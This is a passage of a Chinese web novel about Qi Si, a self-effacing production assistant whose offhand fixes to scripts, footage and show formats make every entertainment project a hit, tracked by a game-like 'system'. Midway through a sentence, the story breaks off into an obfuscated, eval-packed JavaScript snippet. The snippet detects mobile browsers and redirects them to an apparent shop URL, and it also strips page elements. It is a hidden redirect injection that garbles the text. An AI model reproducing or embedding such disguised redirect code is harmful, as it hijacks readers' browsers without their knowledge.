他本来只是来帮朋友递个U盘,结果被节目组认出来:“你就是齐司?快进来坐!” 不到十分钟,走廊里风向就变了。 一个刚出道的小花悄悄凑过来,眼睛亮晶晶的:“齐老师,您能不能帮我看一下待会儿那个VCR?我总觉得自己说话很尬……” 一个顶流男明星从经纪人身后探出头,笑得很谦逊:“齐哥,我新戏下周开机,能不能请您帮我看看人物小传?” 一个老牌导演从另一头走来,手里还拿着台本:“齐老师,我这个综艺的环节设计总觉得差点意思,您要不要挂个创意顾问?” 制片人干脆把人堵在原地:“齐老师,我们公司新立了一个项目,投资已经到位,就差您点个头。” 走廊里的空气像是突然被抽走了一半,所有人的视线都不约而同地落在他身上。 系统在耳边冷静播报: 【当前身份:项目中隐藏最大作用的人。】 【行业趋势:资本、高层、导演、爆款团队自动围绕宿主转动。】 【宿主主观意愿:下班。】 【客观现实:无法下班。】 齐司捏着纸杯,觉得咖啡有点凉。 “我只是来送个U盘。”他重复了一遍。 “那顺便……”制片人笑得极为真诚,“顺便帮我们看一眼企划案?” “顺便帮我看一眼人物小传?” “顺便帮我看一眼VCR?” “顺便挂个名?” “顺便——” 声音一浪高过一浪。 后台监控室里,导播看着走廊监控画面,忍不住对旁边的编导说:“你发现没有?现在谁能把齐司请到现场,谁就自带一个爆点。” 编导点点头:“昨天艺人群里都在传,说只要跟他合个影,热搜就会自己来。” …… 微博热搜榜更新。 #齐司走廊合影# 排名第2。 #齐司看了一眼VCR# 排名第4。 #齐司说“还行”# 排名第6。 热搜词条下面,营销号们自动开始编故事: 【据内部人士透露,某顶流在录制现场向齐司请教表演,被一句话点醒,当场重拍VCR,效果惊艳。】 【业内共识:只要齐司参与,项目就一定成。】 【资本排队送钱,只为求他点头。】 评论区里,粉丝和路人吵成一片,但有一点出奇一致——没有人骂他,所有舆论都在往“专业”“低调”“不炒作”这几个标签上靠。 【舆论自动站在宿主这边。】 【热点自动围绕宿主发酵。】 【宿主未主动做任何事。】 系统的提示一条接一条。 …… 某家投资机构的内部群聊。 【风控部-老王】:新项目《小城市剧团》,题材冷门,按理说不该投这么多。 【投资部-小李】:但有齐司。 【风控部-老王】:那就行。 【策略部-阿陈】:平台那边说了,以后有他名字的项目,默认给首页推荐位。 【合伙人-老周】:我们是不是该考虑,单独设一个“齐司池子”?专门投他参与的项目。 【投资部-小李】:已经在做了,名字都想好了——“隐形庄家计划”。 …… 深夜。 齐司回到出租屋,灯光昏黄,窗外是远处楼顶广告牌的闪烁光点。 他把手机丢在桌上,整个人往椅背上一靠。 手机屏幕亮了一下,系统的界面自动弹出。 【当前世界进度:92%。】 【宿主身份:隐形庄家(行业趋势已默认围绕宿主参与项目进行调整)。】 【行业共识:只要齐司参与,项目就一定成。】 【宿主主观认知:仍认为自己是编外小助理/后台编务。】 【任务状态:进行中。】 齐司看着那行“隐形庄家”,眉头微微皱了一下。 “隐形什么?”他嘀咕了一句。 系统安静了一会儿,像是在刻意回避解释,只淡淡地说: 【你可以继续下班。】 齐司“哦”了一声,把手机扣在桌面上,椅子一转,整个人滑到书桌边缘,仰头闭眼。 他是真的打算继续下班。 桌上的手机震了一下,又震了一下,像是不死心。 他没动。 第三下震动拖得很长,伴着“叮——”一声微信电话。 齐司皱眉,伸手摸过来接起:“喂?” 那头背景一片嘈杂,像是在片场,灯光车的嗡鸣声、对讲机的“咔嚓”声混在一起。 “齐哥!你睡了吗?!”是今天白天那个新晋小花的经纪人,声音都快劈叉了,“救命啊,咱们这边演员对词对不明白,导演刚刚摔本子了!” 齐司:“……我不是场记。” “我知道我知道,你是编务!”经纪人语速飞快,“但你对白感太好了,今天你随口改的那两句,导演说比原本写的强十倍!你能不能帮忙看一眼第十七场?就一页纸!我给你发照片!” 微信“叮叮叮”连着几声,图片一张张飞过来。 齐司本来想拒绝,视线却不由自主扫过去。 手机屏幕上,是一页打印出来被红笔圈得乱七八糟的剧本照片,灯光打在纸面上反光,字有点糊,但大致还能看清。 场景:女主在医院走廊质问男主。 台词密密麻麻,情绪标注写着“崩溃”“怒吼”“泪崩”。 齐司看了几秒,眉心更皱了:“她为什么要在这儿吼?” 那头愣了一下:“啊?” “你这场前一场刚写她在病房里跟妈妈说‘我会撑住的’,下一场就对男主破口大骂,”齐司懒洋洋地说,“情绪断了。她不是在骂他,她是在怕。” 经纪人那边明显把电话外放了,背景里有人压低声音:“快录快录。” “你把‘你为什么不来’那句删了,”齐司随口道,“换成‘你怎么现在才来’,语气别写成怒吼,写成那种——她嘴上在怪他,眼睛却不敢看他。” 他手指在空气里比划了一下,像是在给自己找感觉:“前半段台词都减掉,留三句就够了。‘你知道我等了多久吗’、‘我以为你不会来了’、‘我妈刚刚问起你’。” “后面加一句特别轻的:‘她还记得你。’” 电话那头安静了两秒,只有走廊里灯管嗡嗡的电流声透过来。 然后是压不住的吸气声和低声爆粗:“……操,这也太好哭了。” “齐哥你等一下!”经纪人声音一下子拔高,“我开视频,你跟我们说一遍!” “不用,我——” 视频已经打过来了。 画面一接通,就是医院实景搭建的走廊:冷白色的顶灯一排排延伸过去,地面打了蜡,反光里是一条细长的灯带。群演穿着病号服、护士服坐在长椅上刷手机,远处机位架在轨道上,摄影师正蹲在监视器前调色温。 女主穿着浅色风衣,妆发组刚刚给她补完妆,眼下的泪痕还没干,正拿着剧本在原地来回踱步,脸上写满了“我不行了”。 导演坐在监视器后面,黑T恤,棒球帽反戴,刚摔过的剧本还摊在脚边。 “齐司?”导演探过来,眼睛一下亮了,“你刚刚说的那几句,能再说一遍吗?” 齐司:“……” 他看了眼时间,晚上十一点四十二。 “我明天还要上班。”他提醒。 “我们也想下班。”导演苦笑,“就一页,救命。” 齐司叹了口气:“行,把那页纸翻过来,我说你们记。” 经纪人立刻找人拿笔,女主也凑过来,灯光师顺手把一盏小补光灯转了个方向,暖黄的光打在纸面上,把原本冰冷的走廊照出一点柔和的色温。 齐司靠在椅子上,慢慢说:“第一句,‘你知道我等了多久吗’——别用质问的语气,用那种……你自己都不确定在问谁的感觉。” “第二句,‘我以为你不会来了’——这句说完,停两秒,看他一下,再移开视线。” “第三句,‘我妈刚刚问起你’——眼睛别红,声音别抖,正常说。” 他顿了顿:“最后那句‘她还记得你’,你别看他,盯着他身后那个空的病房门说。” 视频那头,女主握着笔,手指都在抖,飞快地记下每一个停顿。 导演突然站起来:“走走走,直接试一条。” 机位重新归位,轨道车轻轻滑回起点,摄影师调了个更贴近日常的色温,把原本偏冷的灯光往中性拉了一点,监视器上的画面瞬间柔和。 场记打板:“第十七场一条,开始!” 走廊尽头,男主背着光站在门口,女主从画外冲进来,脚步声在地面上“哒哒”回响。 她张了张嘴,原本写好的那段怒吼台词被她硬生生咽回去,只剩下呼吸有点乱。 “你知道我等了多久吗……” 声音很轻,尾音往下坠,像是刚刚从病房里出来,还没从那种压抑里缓过来。 摄影机缓慢推近,镜头里她的睫毛微微颤了一下。 “我以为你不会来了。” 她抬眼看男主,眼神里有一瞬间的怯,然后很快移开,落在他肩膀后面的某个点上。 “我妈刚刚问起你。” 这句说得太平静了,平静到让人心里发紧。 走廊里的群演都不自觉停下动作,盯着她。 “她还记得你。” 最后这句,她看着男主身后那扇紧闭的病房门,嘴角甚至勾了一点点笑,像是在安慰谁。 “咔!” 导演猛地站起来,椅子在地上拖出刺耳的声音:“好!就这样!” 监视器前,摄影师把刚刚那条回放了一遍,画面里女主的情绪像被一根细线串起来,从压抑到松动,一点点泄出来,最后落在那句轻得几乎听不见的“她还记得你”上。 经纪人已经红了眼眶,捂着嘴:“这台词……完了,明天肯定全网都在用。” “什么全网?”导演眼睛亮得吓人,“这就是我们这部剧的情绪锚点!预告片直接用这段!” 他一抬头,对着手机那头:“齐司,你还有别的想法吗?” “没有了。”齐司打了个哈欠,“你们拍吧,我睡觉了。” 他挂断电话,把手机丢回桌上。 系统界面自动弹出来,像是后台数据面板: 【剧集项目《人间病房》:情绪记忆点已生成。】 【预测热词:#她还记得你#、#等了多久#、#别对我怒吼式关心#。】 【传播路径:短视频平台二创→情感号文案→综艺引用→广告植入。】 【项目成功率:由原本的48%上调至97%。】 齐司没看,已经半睡过去。 …… 第二天一早。 棚内摄影棚,A机突然黑屏。 “卡机了卡机了!”摄影助理一边拍机身一边喊,“刚刚那条全跳帧!” 监视器上,刚刚拍完的那场动作戏画面一顿一顿,演员的动作被切成一格一格的残影,曝光还莫名其妙地飘,时亮时暗。 导演脸色瞬间黑了:“这条是爆破,不能重来啊!” 道具组那边刚刚把整面假墙炸掉,碎石还在地上冒烟,灯光组忙着灭火,现场一片混乱。 “备份呢?!”制片人冲过来,“你们不是双机位吗?” B机那边传来一句更绝望的:“B机刚刚没开录……” 全场空气瞬间凝固。 齐司抱着一摞道具文件夹,从摄影棚侧门路过,听到“没开录”三个字,脚步一顿。 他本来是来送修订过的通告单的。 “你们怎么了?”他站在门口问了一句。 所有人齐刷刷看向他。 导演像是抓到救命稻草:“齐司,你会不会弄这个?”他指着那台黑屏的A机,“刚刚那条要是没了,我们今天就别收工了。” “我不会。”齐司很诚实,“我只是编务。” “你会的!”制片人冲过来,一把把他往机位那边推,“你上次不是帮后期调过一个素材吗?你对机器有感觉!” “那是剪辑软件,不是摄影机。”齐司被推到机身旁,无奈伸手按了下电源键。 摄影机嗡的一声亮了,屏幕上跳出一串英文错误代码。 摄影助理在旁边手忙脚乱地翻说明书:“这个代码是……是……卡数据错误?” “你们有备份卡吗?”齐司问。 “有,但是那条在这张卡上。”摄影助理快哭了,“刚刚爆破的时候我怕震到机子,手就扶了一下,可能碰到什么了……” 齐司看着那串错误代码,随手按了两下菜单键,又点了下“恢复缓存”。 屏幕一闪,刚刚那条爆破画面突然出现在回放列表里。 “出来了出来了!”摄影助理惊叫,“但它显示损坏!” “放一下。”齐司说。 监视器连上,画面开始播放。 所有人屏住呼吸。 爆破的瞬间,画面确实跳了一下,但并不是传统意义上的“坏掉”,而是帧率突然拉高,像是慢动作和正常速度之间被硬生生插入了一段极短的高速摄影。 火光炸开的那一刻,碎石飞溅,男主从烟尘里冲出来,原本应该是一气呵成的动作,现在被那段“跳帧”拉成了一种诡异的节奏——先是极快的一瞬间爆闪,然后突然慢下来,火光在他脸上一帧一帧划过,眼神被定格在一个极具冲击力的角度。 曝光也在那一瞬间飙高,整个画面被白光吞没,接着又迅速回落,仿佛从一片空白里重新显影出男主的轮廓。 导演整个人往前凑,眼睛死死盯着屏幕:“……操,这太帅了。” 摄影师反应过来,激动得声音都变了:“这不是损坏,这是……这是机子在爆破冲击下自动切换了缓存模式!等于给我们多了一段伪高速!” “你们刚刚的机位没动吧?”齐司问。 “没动!”摄影助理连连点头。 “那就把这条当特写用,”齐司随口说,“前后正常速度的镜头你们还有,剪辑的时候把这段跳帧插中间,做个节奏断点。” 他指了指监视器上的那一帧:“这一帧停两秒,当海报用。” 监视器上,男主从火光中走出来,半张脸被烧得通红,眼神却冷得像冰,火星在他身后炸开,形成一个模糊的光环。 制片人已经能想象出预告片了:“这就是我们电影的标志镜头!” “对,预告片先用正常速度铺垫,”导演脑子飞快转起来,“到爆破那一刻突然白屏一闪,接着就是这段跳帧慢动作,配鼓点——砰、砰、砰——最后定格在这帧,打片名!” 他一拍齐司的肩:“你又救了我们一命!” “我只是按了两下恢复键。”齐司强调。 系统界面在他视野边缘弹出一行小字: 【电影项目《灰烬之城》:标志性镜头已生成。】 【预测标签:#火光出场#、#跳帧神镜头#、#国产动作片新审美#。】 【项目成功率:由原本的36%上调至95%。】 …… 与此同时,城另一头。 一栋写字楼的二十二层,会议室里灯光冷白,长桌上摆着一摞摞项目企划书,投影幕布上挂着一行醒目的红字:“Q4重点项目风险评估会”。 几位投资人正对着一份名为《星途偶像2》的企划皱眉。 “这个项目已经拖了两年了,”一个中年男人翻着资料,“原本的导演跑了,前期投资打了水漂,现在平台还在犹豫要不要继续砸钱。” “数据不好看啊,”另一个人点开大屏幕上的曲线图,“前作热度高峰已经过去了,粉丝流失严重,续作风险太大。” 坐在最前排的资本代表突然抬头:“等等,你们说这个项目最近是不是新加了一个……齐什么的人?” “齐司。”旁边的项目经理立刻翻资料,“是平台那边临时塞进来的,说是做编务协调。” “齐司?”会议室里安静了一瞬。 有人打开手机,点进一个内部共享的“行业风向”群,往上翻了几条消息。 【——听说了吗,《人间病房》昨天那个医院走廊戏,是齐司改的台词。】 【——《灰烬之城》爆破镜头救回来了,也是他按了两下机子。】 【——我跟你们说,他就是风口捕捉体质,什么项目只要他沾一下就活。】 资本代表眯起眼:“确认一下,这个《星途偶像2》里,真有他?” 项目经理飞快点头:“有的,昨天刚签字,挂在编务那一栏。” 会议室里的气压瞬间变了。 刚刚还在说“风险太大”的人立刻换了口风:“其实偶像选秀赛道也不是完全没机会,关键是要找到新的切入口。” “对,前作的粉丝基础还在,只是需要一个爆点。” “既然齐司参与了,那我们可以考虑追加一部分预算,做全平台联动。” 资本代表敲了敲桌子:“把这个项目从‘待观察’调到‘重点扶持’。平台那边要是再犹豫,你就把这句话带过去——” 他顿了顿,一字一顿:“只要齐司参与,项目就一定成。” 项目经理飞快记下。 …… 几天后。 《星途偶像2》录制现场。 棚内灯光打得像白天一样亮,舞台中央是一个巨大的LED屏,循环播 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939319|192918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放着节目的LOGO。后台走廊里,化妆师推着小推车来回穿梭,练习室门口堆着一双双练舞鞋。 齐司坐在角落里的小折叠桌前,面前摊着一大堆选手资料表,红笔、蓝笔、荧光笔一排排摆好。 他的工作很简单:核对选手信息、整理出场顺序、确认每个人的舞台需求有没有漏填。 他戴着耳机,听着隔壁练习室传来的节拍声,“咚、咚、咚”,像是某种统一的心跳。 一个男练习生推门进来,头发还在滴汗,妆都花了,手里攥着一张皱巴巴的曲目单:“哥,那个……我能改歌吗?” 齐司抬眼:“录制前两小时不能改。” “我知道,可是我这首歌真的不行。”男生急得直搓手,“原公司给我选的,是那种很老的情歌,我跳不出感觉来。” “那你想唱什么?”齐司随口问。 “我自己写了一首demo,”男生有点不好意思,“就是那种……有点丧,又有点想活下去的感觉。” “拿来听。”齐司伸手。 男生赶紧把手机递过去,点开一个录音文件。 耳机里传来有点糙的吉他声,男生的声音还带着气音,歌词写得很直白:“我在练习室里数过天花板的裂缝,在凌晨三点想过要不要放弃……” 旋律不算特别抓耳,但有一种很真诚的笨拙。 齐司听了半分钟:“这歌不适合你现在这个舞台。” 男生脸色一白:“那我还是唱原来的?” “你把副歌往前提,”齐司说,“前奏砍掉一半,第一句就进‘我在练习室里数过天花板的裂缝’,观众一听就知道你是谁。” 他拿过一张废纸,随手写了几行:“副歌那句‘我还想再试一次’重复三遍,最后一遍停在‘试’上,别唱完。” “你现在的舞台时间是两分钟,对吧?你把桥段删掉,改成清唱那句‘我还想再试一次’,灯光全灭,只打一束顶光。” 他抬头看男生:“你不是想让人记住你吗?那就别跳舞了,站在那儿唱。” 男生整个人愣住:“可是……这是偶像节目。” “偶像也可以不会跳舞。”齐司说,“但你得让人知道,你是真的在这儿等了很久。” 男生握着那张纸,手心都是汗:“那……我去跟导演说?” “你说是编务建议的。”齐司把资料表往旁边一推,“不行就算了。” 男生冲出去,像是抓住了救命稻草。 半小时后,导演、制片人和音乐总监一起出现在齐司桌前。 “你刚刚给他改的?”导演开门见山。 “随口说的。”齐司说。 制片人眼睛亮得吓人:“这个点子太好了!我们这季不就是缺一个‘素人自创曲’的记忆点吗?你这直接给我们做了一个。” 音乐总监也点头:“副歌往前提,清唱结尾,灯光一灭,观众肯定要疯。” 导演当机立断:“就按你说的来。以后选手要改歌,先来找你。” 齐司:“我只是编务。” “你是编务总策划。”制片人笑眯眯地给他升了个职,“你坐在这儿,就是我们这节目的灵魂。” 系统界面悄无声息地刷新: 【综艺项目《星途偶像2》:核心舞台记忆点已生成。】 【预测热词:#我还想再试一次#、#不会跳舞的偶像#、#练习室天花板裂缝#。】 【项目成功率:由原本的22%上调至98%。】 …… 几天后,节目第一期上线。 后台数据大屏上,曲线像被人一把拽起来。 播放量在上线十分钟后突然陡增,弹幕密密麻麻刷着: 【这个男生是谁!】 【我在练习室里数过天花板的裂缝——好懂。】 【我也还想再试一次。】 微博热搜榜上,“#我还想再试一次#”从四十几名一路往上窜,二十、十、五,最后稳稳挂在第一。 同一时间,另一个热搜也悄悄爬上来:“#不会跳舞的偶像#”。 营销号迅速跟进,剪出那段清唱舞台,配上各种励志文案,转发量一路飙升。 有人翻出幕后花絮,发现男生在后台说了一句:“是编务哥帮我改的。” 【编务哥是谁?】 【节目组求出幕后大佬!】 【这届编务不简单。】 舆论自动往一个方向聚拢,所有人都在找那个“编务哥”。 齐司坐在办公室一角,面前摊着一堆下期的流程表,手机不停震。 导演:“齐司,你看没看热搜?你改的那段炸了!” 制片人:“平台那边说了,以后你在我们项目里的署名要往前提。” 隔壁剧组的制片人:“兄弟,下个剧本你有空帮我看两页吗?随便改改就行。” 某电影导演:“听说你对镜头节奏很有感觉?我有个动作戏想让你提个意见。” 几个投资人的微信头像在聊天列表里排成一列: 【听说你最近在做《星途偶像2》?我们这边有个项目想请你挂个顾问。】 【费用好说,你只要在合同上签个名字就行。】 【我们不干涉你创作,你怎么舒服怎么来。】 【齐老师,有没有兴趣做我们公司项目的“风控顾问”?就是你看着不顺眼的,我们就不投。】 齐司看着那一串“老师”“顾问”,头有点疼。 他点开系统界面:“你是不是干了什么?” 【没有。】系统很无辜,【只是行业趋势默认围绕你的参与项目进行调整。】 “他们为什么都来找我?”齐司按着太阳穴,“我只是想下班。” 【你可以继续下班。】系统重复了一遍。 “那他们——” 【他们会自动排队,把资源、项目、预算、艺人送到你面前。】系统语气平静,【你只需要做你认为的‘顺手帮忙’即可。】 …… 几周后。 行业内部逐渐形成了一条不成文的共识。 在各种饭局、会议、群聊里,一个名字被反复提起。 “你们那个新剧,齐司参与了吗?” “没有,他太忙了。” “那风险有点大啊。” “我们这个电影本来快黄了,后来平台塞了个编务叫齐司,结果你们看,现在预售直接翻了三倍。” “综艺那边更夸张,《星途偶像2》原本没人看好,现在全靠他随手改的那段清唱撑起来。” “我跟你们说,他就是隐形庄家。风口在哪儿,他一碰就成。” 资本开始排队送钱。 某基金负责人在内部会上拍板:“以后项目立项,优先看两个条件——题材和齐司。” “什么意思?” “题材要有市场,齐司要有参与。只要他在,我们就敢砸。” 平台高层在周会上说:“我们要主动跟齐司保持合作关系,他在哪儿,我们的资源就往哪儿倾斜。” 导演们在私下聊天: “我新片想请他挂个‘创意顾问’。” “你排得上号吗?我已经等了三个月了。” 明星们在后台走廊里低声打听: “你们剧组那个齐老师,是不是很难约?” “他不是老师,他说他是编务。” “那更可怕了,连编务都这么强。” …… 而齐司,仍然每天准点下班。 他会在片场角落帮忙改一页剧本,让一个原本用力过猛的哭戏变成全网共情的“她还记得你”。 会在摄影棚里按两下设备,让一条本该报废的爆破镜头变成电影的标志画面。 会在综艺后台随口给练习生改几句歌词,让一个原本要被淘汰的素人一夜之间成为“不会跳舞的偶像”代名词。 会在路过某个被所有人判死刑的烂尾项目时,被人硬拉着签个“编务协调”的名字,然后看着那个项目莫名其妙地从谷底爬到顶峰。 舆论自动站在他这边。 当有人质疑《星途偶像2》炒情绪时,评论区里自发有人搬出那段清唱,说:“这不是炒,这是我们自己的故事。” 当某电影被骂“爆破戏抄袭国外大片”时,有人截出那段跳帧神镜头,说:“你见过哪部片子敢把损坏素材当主镜头用?” 当某剧被黑“台词矫情”时,#她还记得你#底下全是观众自己的故事,没人再提“矫情”两个字。 行业里逐渐形成共识:只要齐司参与,项目就一定成。 他成了所有人眼里的“隐形庄家”。 资本围着他转,导演围着他转,明星围着他转,项目、剧本、镜头、营销节点像被一只无形的手推着,自动在他身边排队。 而他本人,只是在每个项目的角落里,签着“编务”“协调”“顾问(未署名)”之类的小字,准点打卡,准点下班。 系统界面安静地悬在他视野边缘: 【当前世界进度:96%。】 【宿主身份:隐形庄家(行业趋势已默认围绕宿主参与项目进行调整)。】 【行业共识:只要齐司参与,项目就一定成。】 【宿主主观认知:仍认为自己是编外小助理/后台编务。】 【任务状态:进行中。】 片场里,顶光压得人眼窝发黑,侧补光打在女主脸上,粉底和颈线之间有一条细微的色差。监视器前,导演骂到嗓子哑:“这场哭戏怎么都不对味儿,台词太假了!” 齐司缩在角落的小折叠椅上,膝盖上摊着一摞打印好的剧本页,左上角用订书机随手一钉,钉歪了。 副导演抱着耳机冲过来:“小齐,刚才那页剧本你不是帮忙改了两句吗?导演说,先拍你改的那版。” “我就顺手调了个语序。”齐司抬头,眼神茫然,“你们随便用原来的就行。” 话音刚落,场记已经把他改过的那页抽出来,塞进女主手里:“用这个!导演说先试试新词儿!” 那页纸上,原本一大段堆砌情绪的台词,被齐司用红笔划掉了三分之二,只剩几句短句—— “我不是不懂事,我只是怕。” “你说没关系,可你眼睛在躲。” “你不爱我了,就直说。” 女主站在机位前,灯光师重新调了下色温,从偏冷的5600K往下拉到4800K,暖了一点。轨道车压在地上的铁轨轻轻一震,摄影师压低机位,从她肩膀后慢慢推近。 “Action——” 齐司低头继续整理后面几场的场记表,耳边是女主哽住的呼吸声。她没再用之前那种“学院派哭腔”,只是眼眶慢慢红了,鼻翼轻轻发抖,声音发干: “我不是不懂事,我只是怕。” 现场一下子安静下来,连灯光架上的散热风扇声都显得格外大。摄影机的红灯亮着,画面里,她眼睛里那一点水光刚好被侧补光勾出一圈亮。 “Cut——”导演盯着监视器,愣了两秒,猛地站起来,“就这个!再来一条备份,情绪再收一点!” 第二条更干净,哭声压在喉咙里,只在说“你不爱我了,就直说”的时候,声线轻微破了一下。 这条一上线,剪辑师几乎没动,就按原机位顺剪。预告片放出后,这三句台词被单独剪成一个十五秒的竖屏短视频,底下加了浅灰色字幕和轻音乐。 首发平台首页,竖屏窗口里女主的脸占满画面,眼睛发红,字幕一行一行跳出来。弹幕从右侧刷过去: “这台词谁写的?” “怎么突然这么真实?” “‘你说没关系,可你眼睛在躲’——戳死我了。” 热搜榜右侧数据曲线像被人拎了一把,从平缓的灰线突然竖直往上窜,“#你说没关系可你眼睛在躲#”在十分钟内从第27名窜到第3名。 话题词条下,营销号自动开始扒幕后:“据说是剧组一个编务小哥现场改的台词?”、“匿名编务临时救场,成就年度爆款情绪台词”。 齐司坐在公司茶水间,纸杯里的咖啡泡沫已经塌了,手机屏幕上弹出一条条艾特,他手指划了两下,把所有提醒关掉,顺手把手机扣在桌上。 “怎么又有人在群里问你台词?”同组的小编务端着速溶咖啡路过,“你不是就帮忙调了一页吗?” “可能是因为那页纸用的是粉色打印纸。”齐司认真分析,“显眼。” 19. 第 19 章 第二天,棚里出了更麻烦的事。 B机画面回放时,监视器突然一顿,画面跳成一格一格的马赛克,时间码乱跳,曝光曲线在波形图上疯狂抖动。 摄影指导黑着脸:“卡机?跳帧?你逗我?这条是今天最重要的长镜头!” 机位架在三层高的摇臂上,吊着一台最新款的数字摄影机,旁边是堆成小山的移动硬盘和数据线。数据工程师满头汗,趴在机身后面连拔带插:“可能是缓存写入异常……要不重拍?” 重拍意味着整个棚的灯光重置,群演重新就位,烟饼再打一次,场务再铺一遍地上的碎玻璃。制片人脸色发青,开始在一旁算钱。 “你们先别动。”导演死死盯着那条刚刚回放到一半的镜头,“这条情绪最好,重拍不一定有这状态。” “要不……我看看?”齐司本来只是来送新打印的通告单,被卡在门口,手里还夹着一叠A4纸。 “你?”数据工程师愣了一下,下意识把位置让开,“你会?” “不会。”齐司老实,“我之前在后期公司打过工,帮忙拷过素材,可能是接触不良?” 他伸手按了两下机身侧面的重启键,又把数据线拔下来重新插紧,顺手把旁边一个松松垮垮的电源插头按进插排里。 机身重启,风扇转了一圈,红灯亮起。数据工程师半信半疑地点开刚才那条素材。 波形图上的曝光曲线从原本的乱跳,突然变成一条平滑的弧线,暗部细节被拉出来,高光不再炸白。画面里,男主从走廊尽头逆光走来,背后是一整排被打亮的窗格,光线从他肩膀边缘绕出一圈金边,烟雾在他脚边慢慢散开。 刚才跳帧的地方,现在变成了一个极其顺滑的微微慢动作——他抬眼的那一瞬间,眼神刚好对上镜头,瞳孔里反射出走廊尽头那一束冷白顶光。 导演盯着监视器,整个人往前倾:“……这慢动作谁加的?” 数据工程师脸都白了:“没加!原机素材!刚才明明是跳帧啊!” 画面继续往后推,镜头轻微晃了一下,本该是手持不稳的抖动,现在却像是刻意设计的呼吸感,跟着男主的步伐一点一点贴近,最后在他停下的瞬间,焦点从他肩膀滑到眼睛,锐利得像刀。 “这条封神了。”摄影指导低声说。 后期剪辑时,这个镜头被单独拉出来,前后只加了两帧黑场,配乐在他抬眼那一刻戛然而止,留出一秒钟的静音。 上线当天,弹幕疯狂刷:“这镜头谁设计的?!”“这就是电影感吗?”“国产剧终于有这种质感了!” B站上有人专门做了技术拆解视频,把那条镜头的波形图、矢量示波器截图出来,分析曝光、色彩、运动轨迹,最后得出结论:“这条镜头的跳帧和轻微晃动,反而形成了独特的情绪张力。” 底下高赞评论:“听说是机子卡了,被一个编务小哥按了两下。” — 与此同时,另一个城市的高层会议室里,空气冷得像刚从冷库里拉出来。 落地窗外是灰蓝色的城市天际线,会议桌上摆着一排排矿泉水,标签都朝着同一个方向。大屏幕上投着一份项目数据报表,红色的亏损曲线一路往下扎。 “这个综艺我们已经砸了两个亿。”投资方代表敲着桌面,“录了两期,预热数据惨不忍睹,平台要砍。” 制片人眼眶发红:“嘉宾档期都排了,棚也搭了,临时砍掉我们要赔多少违约金?” “要不就当止损。”平台方高层翻着平板,语气冷淡,“现在停还来得及,继续烧钱只会更难看。” 会议室门外的走廊上,齐司抱着一摞合同复印件,站在打印机旁等纸吐出来,打印机里传出“哔——哔——卡纸”的提示音。 他无奈地打开盖子,把一张皱巴巴的纸抽出来,顺手把旁边那台闲置的扫描仪电源插上,想用它先把合同扫成电子版发过去,免得里面的人吵完才想要。 扫描仪的驱动在电脑屏幕上自动安装,进度条从0%慢慢爬到100%。与此同时,连接在同一局域网里的会议室大屏幕突然弹出一个新窗口—— 【自动同步:项目资料包-最新版本】 制片人一愣:“这是什么?” 技术支持在角落里挠头:“可能是后台自动同步了制作组的资料?” 大屏幕上跳出一份原本只存在于制作组内部的“备选玩法方案”,是齐司之前被后期拉去帮忙整理素材时,顺手把几个废弃环节重新归类、标注,做成的一个“备忘录”。 他嫌原来的环节名字太长,就随手改成了几个简单的词: 【素人互换人生】、【24小时真空挑战】、【嘉宾□□黑箱】…… 每个词后面,他顺手加了几行备注:“成本低”“容易出矛盾点”“适合剪短视频”“适合做话题”。 平台高层盯着那几行字,眼睛慢慢亮了:“这个‘24小时真空挑战’什么意思?” 制片人翻着那份资料:“就是把嘉宾丢到一个没有手机、没有助理、没有预设任务的地方,看他们自己怎么过24小时……这个是我们之前觉得太‘作’了,怕被骂,就没敢上报。” “现在就怕不作。”投资方代表冷笑,“你看现在数据,平平无奇,谁看?” 平台高层手指在桌上敲了几下:“把这个方案捞出来,按这个改。嘉宾阵容不变,玩法全换。” “可是棚已经搭好了……”制片人犹豫。 “那就把棚当成‘真空空间’。”平台高层干脆,“24小时封闭录制,直播+剪辑双线走。你们不是请了几个流量吗?让他们自己在棚里折腾去。” 方案一拍板,项目从“准备砍”变成“重点改造”。制片人从会议室里冲出来,差点撞上走廊上的齐司。 “哎,小齐,你在这儿干嘛?” “打印合同。”齐司举了举手里的纸,“你们不是要签终止协议吗?” “终止什么终止!”制片人眼睛发光,“我们项目救回来了!平台要按你们那个‘备选方案’改,你之前整理的那个文档还在吗?发我一份完整版!” “我就随手……”齐司话还没说完,对方已经把他往会议室里拽,“你进来一起听,后面玩法你最熟。” 综艺改版后,第一期上线,直播间在线人数从原本的几十万,直接飙到三百万。弹幕疯狂刷:“这是真封闭啊?”“手机都没收了?!”“看流量男明星不会做饭太爽了。” 剪出来的短视频在各个平台疯传,“#顶流被封在棚里24小时#”“#女明星素颜找不到卸妆水#”轮番上热搜。广告主临时加预算,连夜把中插广告从15秒加到30秒。 投资方内部群里,有人发了一张对比图:原本一路下跌的红色亏损曲线,在改版后突然掉头向上,变成一条漂亮的蓝色增长线。 群里有人问:“是谁提的改版方案?” 制片人发了个“捂脸”表情:“一个编务小哥整理的备选玩法。” — 随着这些项目一个接一个起死回生,圈内的风向开始肉眼可见地偏移。 某个下午,齐司刚从道具间出来,手里拎着一袋子备用电池和胶带,走廊尽头突然冒出三个人——一个戴棒球帽的顶流男明星,一个穿黑衬衫的导演,还有一个拎着公文包的制片人。 “齐老师!”顶流第一个冲上来,墨镜往头上一推,笑得格外乖:“上次你说我‘别老抬下巴’那件事,我改了,最近路透都说我镜头感变好了。” 齐司愣了一下:“我只是说你抬下巴会露鼻孔。” “对!就是这个!”男明星点头如捣蒜,“你再看看我新剧的人设,我总觉得哪里不对。” 导演也把剧本递过来:“还有我这个新片子,投资已经到位了,就差一个‘顾问’挂名,你要不要来玩玩?不署名也行。” 制片人把公文包打开,里面整整齐齐地码着几份项目企划书:“我们公司这边有三个项目,电影、剧集、综艺各一个,你随便挑一个挂个‘协调’或者‘编务’的名字就行,其他不用你管。” 齐司被三份剧本、三份企划、一个顶流的期待眼神包围,手里的电池袋子差点掉地上。 